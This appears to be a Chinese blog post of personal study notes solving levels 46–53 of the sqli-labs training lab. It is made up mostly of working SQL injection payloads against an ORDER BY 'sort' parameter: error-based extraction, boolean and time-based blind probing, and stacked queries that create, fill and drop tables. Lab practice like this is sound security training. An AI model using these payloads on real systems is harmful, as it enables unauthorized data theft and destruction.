sql-labs闯关46~53

sql-labs闯关46~53:

友善爱国公正诚信富强诚信和谐诚信富强和谐诚信自由爱国友善平等友善自由诚信富强诚信民主

复习笔记1


内容:

  1. sql-labs第46关(GET请求-基于错误-数字型-order by 排序)
  2. sql-labs第47关(GET请求-基于错误-字符型-order by 排序)
  3. sql-labs第48关(GET请求-基于错误-盲注-数字型-order by 排序)
  4. sql-labs第49关(GET请求-基于错误-字符型-盲注-order by 排序)
  5. sql-labs第50关(GET请求-基于错误-order by 排序-数字型-堆叠注入)
  6. sql-labs第51关(GET请求-基于错误-order by 排序-字符型-堆叠注入)
  7. sql-labs第52关(GET请求-基于盲注-order by 排序-数字型-堆叠注入)
  8. sql-labs第53关(GET请求-基于盲注-order by 排序-字符型-堆叠注入)

1.sql-labs第46关

1.1.1
欢迎界面第一句黄字提示了,这关输入的参数是sort,第二句我没看懂
1.1.2
先不管了,输入?sort=1 ,出现一个列表,以ID升序排列,我对这关的目的感到迷茫,前面的关卡爆数据就结束了,这关直接就给了,难道这关是为了爆表爆字段?如果可以的话,我希望有通关目标写在附近,不然都不知道要干嘛,果断百度

Sqli-Labs:Less 46 - Less 49*
Sqli-labs 复习 Less46-53 order by 后的注入
Sqli-labs less 46
sqli-labs(46-49)
SQL注入-order by注入

1.1.3
根据上面的那些资料,大致整理了一下,整个思维导图
1.1.4
输入?sort=rand(),页面发生变化,那么说明这关是数字型,不用找闭合点了,哈哈哈哈哈
1.1.5
先尝试报错型方式,输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+成功爆库

?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

1.1.6
爆表

?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+

1.1.7
爆字段

?sort=extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+

1.1.8
爆数据


2.sql-labs第47关

2.1.1
输入?sort=1 ,出现一个列表,以ID升序排列
2.1.2
输入?sort=rand(),页面无变化,那么说明这关是字符型
2.1.3
输入?sort=1',出现报错信息,确定闭合点为'
2.1.4
这关有闭合点,不能像上关一样,先闭合再注入,输入?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),database()))--+成功爆库

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

2.1.5
爆表

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+

2.1.6
爆字段

?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select username from users limit 0,1)))--+

2.1.7
爆数据


3.sql-labs第48关

3.1.1
输入?sort=1
3.1.2
输入?sort=rand(),页面发生变化,那么说明这关是数字型
3.1.3
尝试报错注入,输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+没成功,看起来我要用布尔型
3.1.4
首先要知道,条件为假时,页面显示,所以输入?sort=rand(0)--+记住id顺序
3.1.5
其次条件为真时,页面显示,输入?sort=rand(1)--+记住id顺序
3.1.6
输入?sort=rand(length(database())>5)--+,判断数据库长度,从结果来看,条件为真,所以数据库长度>5,以此类推,,,请参考前面的盲注篇
3.1.7
输入?sort=rand(mid(database(),1,1)>'m')--+判断数据库第一个字母范围,从结果来看,条件为真,所以数据库第一个字母范围在(m,z]间
3.1.8
输入?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+判断数据表张数,从结果来看,数据表张数<=5
3.1.9
输入?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+判断第一张数据表长度,从结果来看,第一张数据表长度>5
3.1.10
输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+判断第一张数据表的第一个字母范围,从结果看,在[a,m]间
3.1.11
输入?sort=rand((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5)--+判断符合条件的字段数,从结果来看,字段数<=5
3.1.12
输入?sort=rand(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5)--+判断第一个字段长度
3.1.13
输入?sort=rand(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m')--+判断第一个字段的第一个字母是否>m
3.1.14
输入?sort=rand((select count(username) from users)>5)--+判断username记录数是否>5
3.1.15
输入?sort=rand(length((select username from users limit 0,1))>5)--+判断第一条记录长度>5
3.1.16
输入?sort=rand(mid((select username from users limit 0,1),1,1)>'m')--+判断第一条记录的第一个字母范围


4.sql-labs第49关

4.1.1
输入?sort=1
4.1.2
输入?sort=rand(),页面无变化,那么说明这关是字符型
4.1.3
输入?sort=1'没报错信息,不能用报错注入了,输入?sort=1'--+尝试闭合,成功。确定闭合点'
4.1.4
输入?sort= 1' and (if(length(database())>5,sleep(3),1))--+判断数据库长度
4.1.5
输入?sort= 1' and (if(mid(database(),1,1)>'m',sleep(3),1))--+判断数据库第一个字母范围
4.1.6
输入?sort= 1' and (if((select count(table_name)from information_schema.tables where table_schema=database())>5,sleep(3),1))--+判断数据表张数>5
4.1.7
输入?sort= 1' and (if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1))--+判断第一张数据表长度
4.1.8
输入?sort= 1' and (if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1))--+判断第一张数据表的第一个字母范围
4.1.9
输入?sort= 1' and (if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5,sleep(3),1))--+判断符合条件的字段数是否>5
4.1.10
输入?sort= 1' and (if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5,sleep(3),1))--+判断第一个字段长度
4.1.11
输入?sort= 1' and (if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m',sleep(3),1))--+判断第一个字段的第一个字母是否>m
4.1.12
输入?sort= 1' and (if((select count(username) from users)>5,sleep(3),1))--+判断username记录数是否>5
4.1.12
输入?sort= 1' and (if(length((select username from users limit 0,1))>5,sleep(3),1))--+判断第一条记录长度>5
4.1.13
输入?sort= 1' and (if(mid((select username from users limit 0,1),1,1)>'m',sleep(3),1))--+判断第一条记录的第一个字母范围


5.sql-labs第50关

5.1.1
输入?sort=1
5.1.2
输入?sort=rand(),页面发生变化,那么说明这关是数字型
5.1.3
尝试报错注入,输入?sort=extractalue(1,concat(0x7e,database(),0x7e))--+爆库
5.1.4
堆叠注入,输入?sort=1;create table series50 like users--+查询1,并新建表名为series50,格式类似users
5.1.5
输入?sort=1;insert into series50 values(1,1,1)--+查询1,插入一条id、username、password为1的记录
5.1.6
输入?sort=1;drop table series50 --+查询1,再将表series50删除


6.sql-labs第51关

6.1.1
输入?sort=1
6.1.2
输入?sort=rand(),页面无变化,那么说明这关是字符型
6.1.3
输入?sort=1',判断闭合点是否与'相关
6.1.4
再输入?sort=1'--+尝试闭合,确定闭合点为'
6.1.5
输入?sort=1';create table series51 like users--+查询1,并新建表名为series51,格式类似users
6.1.6
输入?sort=1';insert into series51 values(2,2,2)--+查询1,插入一条id、username、password为2的记录
6.1.7
输入?sort=1';drop table series51 --+查询1,再将表series51删除


7.sql-labs第52关

7.1.1
输入?sort=1
7.1.2
输入?sort=rand(),页面发生变化,那么说明这关是数字型
7.1.3
输入?sort=1;create table series52 like users--+查询1,并新建表名为series52,格式类似users
7.1.4
输入?sort=1;insert into series52 values(3,3,3)--+查询1,插入一条id、username、password为3的记录
7.1.5
输入?sort=1;drop table series52 --+查询1,再将表series52删除


8.sql-labs第53关

8.1.1
输入?sort=1
8.1.2
输入?sort=rand(),页面无变化,那么说明这关是字符型
8.1.3
输入?sort=1',判断闭合点是否与’相关,结果没有报错信息,那么只能尝试闭合
8.1.4
输入?sort=1'--+尝试闭合,确定闭合点为'
8.1.5
输入查询1,并新建表名为series53,格式类似users
8.1.6
输入?sort=1';insert into series53 values(4,4,4)--+查询1,插入一条id、username、password为4的记录
8.1.7
输入?sort=1';drop table series53 --+查询1,再将表series53删除


  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值